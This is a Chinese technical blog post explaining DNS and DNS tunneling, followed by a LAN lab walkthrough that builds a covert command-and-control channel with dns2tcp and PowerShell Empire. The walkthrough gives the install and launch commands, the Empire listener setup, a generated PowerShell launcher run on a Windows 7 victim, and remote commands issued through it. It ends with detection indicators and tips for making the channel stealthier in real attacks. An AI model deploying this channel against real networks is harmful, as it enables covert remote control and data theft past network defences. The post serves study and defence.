利用DNS隧道构建隐蔽C&C信道

2019-07-29 13:05:55 浏览数 (1)

背景介绍

无论是高级持续性威胁(APT)、僵尸网络(Botnet),还是勒索软件、后门等,命令与控制信道(C&C)都是其重要组成部分,尤其是APT和僵尸网络中的C&C信道决定了其威胁程度。学术界和工业界就C&C方面的研究已逐渐深入,目前网络战格局逐渐形成,公众对网络安全逐渐重视,网络空间中的攻防双方持续较量。

迫于当前形势,攻击者逐渐转向“低调”,近年曝光的多起大型APT攻击事件都倾向于构建隐蔽的的C&C信道。因此,我们必须从攻击者视角思考,哪些技术可以被恶意利用到构建隐蔽的C&C信道,从而在相应应对策略上取得先机。

一、DNS协议

关于DNS协议详细文档可参考标准文档:RFC1034 和 RFC1035

1.1、类比理解DNS

大千世界,如何证明我就是我?我首先想到的就是亮出我的身份证。身份证是我们每个人的身份凭证,而且身份证上记录有我的姓名和身份证号,同时它也是有权威机构发放,由此在需要验明正身的场合下我的身份证就可以证明我就是我。

DNS(Domain Name System,域名系统)也是一种域名(Domain)和网络地址(IP)一一对应的标准协议,实现这种协议提供DNS服务的称为DNS服务器。域名(如example.com)可以类比理解为名字,而网络地址(如10.0.2.10)则可以理解为身份证号。在显示生活中,我们认识和交朋友更趋向于记住她/他的名字而不是其身份证号。同样的为了实现用户友好,让用户记住具有特点的域名比看起来就让人头疼的一连串数字组成的IP地址要容易很多。

为了便于管理,身份证管理采用分级管理的策略,如同一个县出生的人在身份证号中的前面部分相同;类似的,域名系统在因特网中的命名也采用层次结构的命名方法。为了确保身份证的权威,办证单位必须是公安部门;在域名系统中也有权威的根域名服务器、权威域名服务器等。类似的相同点还有很多,但DNS中域名和IP的对应与身份证号和名字的对应理解中需要注意DNS协议要求域名和IP必须唯一确定,即一个域名唯一对用一个IP(不考虑最近的负载均衡技术),即现实生活中的同名问题在域名系统中是必须解决的,因为域名系统是整个因特网共用的,所以必须保持唯一性。

1.2、DNS的层次结构图解

注:具体的官方描述和介绍类知识请自行检索(太多了),以上仅为我的个人理解

1.3、DNS域名解析流程——本地DNS缓存 递归查询 迭代查询

【递归查询】

用户本地域名服务器发出一次查询请求,就静待本地服务器反馈最终查询结果。本地服务器首先使用本地DNS缓存尝试应答用户的DNS查询请求,若失败则发起迭代查询。

【迭代查询】

本地域名服务器向根域名服务器查询,根域名服务器告诉它下一步到哪里去查询,然后它在根据结果逐层向下查询,直到得到最终结果。每次它都是以DNS客户机的身份去各个服务器查询,即迭代查询是本地服务器进行的操作。

【具体流程描述】

(1)、用户主机A先向本地域名服务器B递归查询abc.exmaple.com (2)、B首先尝试使用本地DNS记录查询abc.exmaple.com 若本地不存在abc.example.com的相关记录,则B以DNS客户机的身份发起迭代查询abc.example.com (3)、B向一个根域名服务器C查询abc.example.com (4)、根域名服务器C告诉B下一步到.com顶级域名服务器D去查询,并告知D的IP地址1.2.3.4 (5)、B向.com顶级域名服务器D进行查询 (6)、D告诉本地域名服务器B,下一步请到.example.com权限服务器E去查询,并告知E的IP地址2.3.4.5 (7)、B向.example.com权限服务器E进行查询 (8)、E告诉本地域名服务器B所查询域名abc.example.com的主机是否存在,并告知其IP地址3.4.5.6 (9)、本地域名服务器B向用户主机A反馈所查询的域名abc.exmaple.com对用的IP地址为3.4.5.6

1.4、DNS报文格式

重要部分说明:

会话标识:DNS报文的ID标识,区分DNS应答报文是哪个请求的响应

查询类型整理:

生存时间(TTL):资源记录的生命周期,一般以秒为单位。

【说明】

此部分为DNS相关基础知识,我只对相关知识进行搜集,并结合自己的理解整理所得。

协议报文格式和查询类型图表源自明风的博客(CSDN)大神的DNS协议详解及报文格式分析一文。

二、DNS隧道

2.1、DNS隧道原理概述

DNS隧道(DNS Tunneling)是将其他协议的内容封装在DNS协议中,然后以DNS请求和响应包完成传输数据(通信)的技术。当前网络世界中的DNS是一项必不可少的服务,所以防火墙和入侵检测设备处于可用性和用户友好的考虑将很难做到完全过滤掉DNS流量,因此,攻击者可以利用它实现诸如远程控制,文件传输等操作,众多研究表明DNS Tunneling在僵尸网络和APT攻击中扮演着至关重要的角色。

DNS隧道依据其实现方式大致可分为直连和中继两类。

直连:用户端直接和指定的目标DNS服务器建立连接,然后将需要传输的数据编码封装在DNS协议中进行通信。这种方式的优点是具有较高速度,但蔽性弱、易被探测追踪的缺点也很明显。另外直连方式的限制比较多,如目前很多的企业网络为了尽可能的降低遭受网络攻击的风险,一般将相关策略配置为仅允许与指定的可信任DNS服务器之间的流量通过。

中继隧道:通过DNS迭代查询而实现的中继DNS隧道,这种方式及其隐秘,且可在绝大部分场景下部署成功。但由于数据包到达目标DNS服务器前需要经过多个节点的跳转,数据传输速度和传输能力较直连会慢很多。

实现DNS隧道的关键要点:

(1)、规避DNS缓存机制 (2)、可利用DNS查询类型及其载荷编码 (3)、如何应道域名系统采用的C/S机制,即Server不可能发起连接——Client会定时向Server发送请求,保证二者之间的通信状态。

2.2、DNS隧道工具

目前,DNS隧道技术已经很成熟,相关工具也很多,而且不同工具也各具特色。目前比较活跃的有iodine,dnscat2,其他的还有DeNise,dns2tcp,Heyoka。相关介绍请参考利用DNS隧道进行隐蔽通信和远程控制。

(1)、dns2tcp:支持直连模式的DNS隧道,只实现了简单的DNS隧道,相关命令和控制服务需要自行搭建,且已在kali系统中直接集成。 (2)、iodine:最活跃、速度最快、支持直连和中继模式,且支持丰富的编码、请求类型选择 (3)、Dnscat2:封装在DNS协议中的加密C&C信道,直接运行工具即可实现数据传输、文件操作等命令和控制功能。

三、利用dns2tcp搭建C&C信道实验复现

3.1、实验环境

本次实验使用两台处于连通状态的主机Ubuntu16 window7,其中Ubuntu16主机作为服务端,Windows7主机作为受控主机。

【说明】

(1)、真实攻防环境下一般会搭建中继模式的DNS隧道,通过递归查询到达C&C 服务端。由于设备条件有限,以下复现实验以最小化设备环境需求展开。 (2)、公网部署需要注册域名、公网IP及设置对应的DNS解析。本次复现旨在帮助理解其原理和构建过程,只在局域网内搭建,因此不要求注册域名、拥有公网IP及设置DNS解析。

【工具需求】

PowerShell Empire

dns2tcp:最简单的工具,具体的C&C需要自行衔接,有助于理解利用DNS构建隐蔽C&C信道的细节

3.2、原理概述

本次实验拟使用局域网内两台虚拟机模拟搭建DNS隧道,然后基于已建立的DNS隧道构建C&C信道。

复现实验如下图:

如图所示,命令与控制通信流量在主机外部(如网络边界)看来全部为DNS查询和响应数据包,即C&C的服务端和受控端实现了“透明传输”,在主机外部利用DNS进行了很好的隐藏以及突破网络限制。整个过程大致如下:

从受控主机端开始,实际的C&C通信数据通过本地端口(如127.0.0.1:5353)输入到隧道工具 由工具按照DNS协议要求进行封装 携带通信数据的DNS查询请求通过DNS协议的53号端口发送到攻击者控制的DNS服务器 攻击者控制的DNS服务器接受到查询请求后,隧道服务端工具首先按照对应规则从请求数据包中提取C&C通信数据,并转发到事先设置好的C&C服务端对应的端口(也可以是另外的主机地址) C&C服务端接受对应端口的C&C数据并响应,响应数据依然发送给服务端的隧道工具 隧道工具对响应数据同样按照DNS协议封装为对应(请求序列号)的DNS响应数据包,通过DNS隧道发送到受控端 受控端的隧道工具从接收到的DNS响应数据包中提取C&C数据,交付给对应控制程序按照实现设置好的规则解析后执行命令、控制操作

四、复现步骤

本次复现将使用到极其强大的Empire工具,具体使用细节请参考一篇文章精通PowerShell Empire 2.3

本文只列出复现实验所需的关键步骤。

复现实验主要有:工具安装 ==》DNS隧道搭建 ==》C&C信道

4.1、工具安装

【dns2tcp】

dns2tcp工具包含客户端和服务端部分,本次实验部分拟定Ubuntu16为服务端,Window7为客户端。

(1)、Ubuntu主机,以root用户执行命令安装

代码语言:javascript复制
su - #进入root用户apt-get install updateapt-get install dns2tcp #实际上是同时安装了dns2tcp的客户端和服务端

(2)、Windows7端的exe程序来源可以从github上clone源码后编译客户端程序,也可以使用已编译好的可执行程序,(搬运链接:https://pan.baidu.com/s/1w-dpn0US9SmfjqdXuHS4aA提取码: tkgd),下载dns2tcpc.exe备用就OK了。

【Empire】

(1)、Empire工具只需要安装在服务端

代码语言:javascript复制
git clonehttps://github.com/EmpireProject/Empire.git#进入setup目录进行命令行安装cd Empirecd setupsudo ./install.sh

(2)、安装成功后确认Empire目录下包含下图所有文件

(3)、使用 ./empire即可启动Empire

4.2、DNS隧道搭建之服务端配置

(1)、编辑dns2tcp服务端配置文件 /etc/dns2tcpd.conf ,如下:

【参数说明】:

1)、listen为服务端IP,尽量避免127.0.0.1。如果选择VPS搭建环境,请就IP配置为0.0.0.0,因为一般VPS都有两个IP(公网IP 内网IP)。 2)、Port为DNS隧道使用的端口,一般使用默认DNS服务端口53,具有更好的迷惑性。如果修改为其他端口号,则使用的客户端也需要去对应位置修改后重新编译为可执行文件。 3)、domain请修改为你所指定的域名,局域网环境下可以随意指定且无需注册。该域名会在客户端启动时作为参数使用。

【注意】:完整的攻防场景设计(使用注册域名、配置在具有公网IP的VPS)应当时这样配置域名(以example.com为例):

在域名注册商的域名设置里添加一条子域名的NS记录和一条A记录,如:

其中NS记录的记录值对应的域名必须配置A记录。以上配置的理解是:所有关于dnsc2.example.com及其子域名都由dns.example.com的DNS服务器负责解析,且其对应IP地址为1.2.3.4。检测配置是否成功可以使用任意的主机使用nslookup dns.example.com查看是否成功得到1.2.3.4的查询结果。

4)、resources官方解释时服务端的对应使用的资源。实质就是通过dns2tcp服务端工具提取的数据将交付的地址(IP 端口)。即如果客户端启动时使用“ -r c2 ”,即代表dns2tcp服务端工具提取的数据转发到127.0.0.1的5353端口。对应于本次实验则是后续会让Empire控制监听在服务端的127.0.0.1的5353端口。注意:这里这是简单的数据转发端口配置,并给它取了个别名,对应服务需要自行搭建。

(2)、启动服务端

代码语言:javascript复制
命令:dns2tcpd -f /etc/dns2tcpd.conf -F -d 2

参数解释:

-f:指定配置文件启动

-F:指定dns2tcp工具运行在前台

-d:指定调试日志打印等级

最终成功启动如下图:

4.3、DNS隧道搭建之客户端配置

(1)、在编译好(或下载)的EXE可执行程序的目录下打开powershell窗口,并执行如下启动命令

代码语言:javascript复制
./dns2tcpc.exe -r c2 -z dnsc2.test.com 192.168.81.149 -l 5353 -d 2

启动命令中各参数说明:

-r:指定要使用的服务端配置的资源对应的名

-z:配置为建立DNS隧道使用的域名

-l:指定隧道客户端监听的本地端口

-d:作用同服务端,输出2级调试信息

注意:命令中的192.168.81.149表示指定目标DNS服务器(也可以是DNS服务器的域名,但必须在上一级域名的DNS记录中正确配置了NS记录和A记录),若不指定则使用默认DNS进行解析,由于本次复现环境未注册域名并配置公网IP解析,因此将无法寻址(DNS请求无法到达我们隧道的服务端)。在局域网情况下,必须指定为服务端IP,即直至指定使用DNS隧道服务器解析dnsc2.test.com(并未真正解析,只是为了使所有dnsc2.test.com及其子域名的解析请求都能到达服务端)。

(2)、成功启动DNS客户端后如下图(不要关闭该窗口)

(3)、测试隧道是否建立成功并可以数据数据(非必须)

1)、在服务端搭建一个Openssh-Server,即搭建SSH服务端并配置SSH登录,相关详细操作可参考利用SSH隧道加密、隐蔽C&C通信流量。 2)、更改启动参数中的-r为 -r ssh并启动客户端。 3)、在客户端使用SSH登录工具(如Putty),通过127.0.0.1佳5353端口SSH登录服务端,若成功登录,并能在服务端和客户端的相应窗口内看到数据传输打印的日志则表明隧道建立成功。如下图

日志打印如下图:

4.4、使用Empire基于DNS隧道构建隐蔽的C&C信道

搭建隧道的关键是理解服务端、客户端之间的数据通信关系,大致如下图:

(1)、设置监听

进入Empire,设置名为dnsc2的监听,并配置监听的Port和Host为服务端配置文件dns2tcpd.conf文件中指定的用于建立C&C信道的资源对应的地址127.0.0.1:5353。

代码语言:javascript复制
listeners#进入的界面下可输入list查看以设置的监听uselistener http#输入 info查看必填参数set Name dnsc2set Port 5353set Host 127.0.0.1execute #创建命为dnsc2的监听,监听127.0.0.1:5353上通信数据

配置如下:

(2)、生成简单的PowerShell利用脚本(针对windows)

launcher powershell dnsc2 # dnsc2 为(1)中设置的监听名字

可进入stagers生成其他木马、远控程序,本次实验直接生成最简单PowerShell利用脚本

注:生成的Powershell代码直接复制并保存,以备在受控windows主机(win7、win10)执行。

(3)、使用(2)中生成的PowerShell脚本,使受控主机上线

在受控主机windows 7中另外(一定保持运行dns2tcp客户端的窗口一直在)开启一个PowerShell窗口,复制PowerShell脚本直接执行。可以看到受控主机以上线。

(4)、测试C&C信道

进入Empire工具的agents菜单下,使用interact G9E6RCVH进入与受控主机的交互shell,如使用shell systeminfo命令获取受控主机的系统信息如下:

4.5、wireshark抓包情况

在该C&C信道运行并有数据传输时,在客户端进行流量抓包分析,结果如下:

从抓包情况可以看出,通过该C&C信道的流量外部流量全部通过DNS协议封装后进行传输,恶意利用了DNS协议的TXT、A类型,且将数据编码在请求包中。

五、总结与思考

本文方式实现的利用DNS隧道构建的隐蔽C&C信道较为隐蔽,因为DNS协议是当前网络中重要部分之一。大部分企业网络总会允许内网与指定DNS服务器(受信任)的查询、请求数据流量。

本文实现的C&C信道的异常也很明显,可以用于用于异常检测。主要有:

对同一域名及其子域名的请求频次过于频繁 在大数据量传输时,DNS数据包很大,占用带宽较高 可以截获数据包分析,有明显编码特征,而且时非正常DNS数据包 真实攻防环境下,可以在此基本原理基础上进行改进后部署,如利用的DNS查询类型、编码后传输、限制交互频率等。

0 人点赞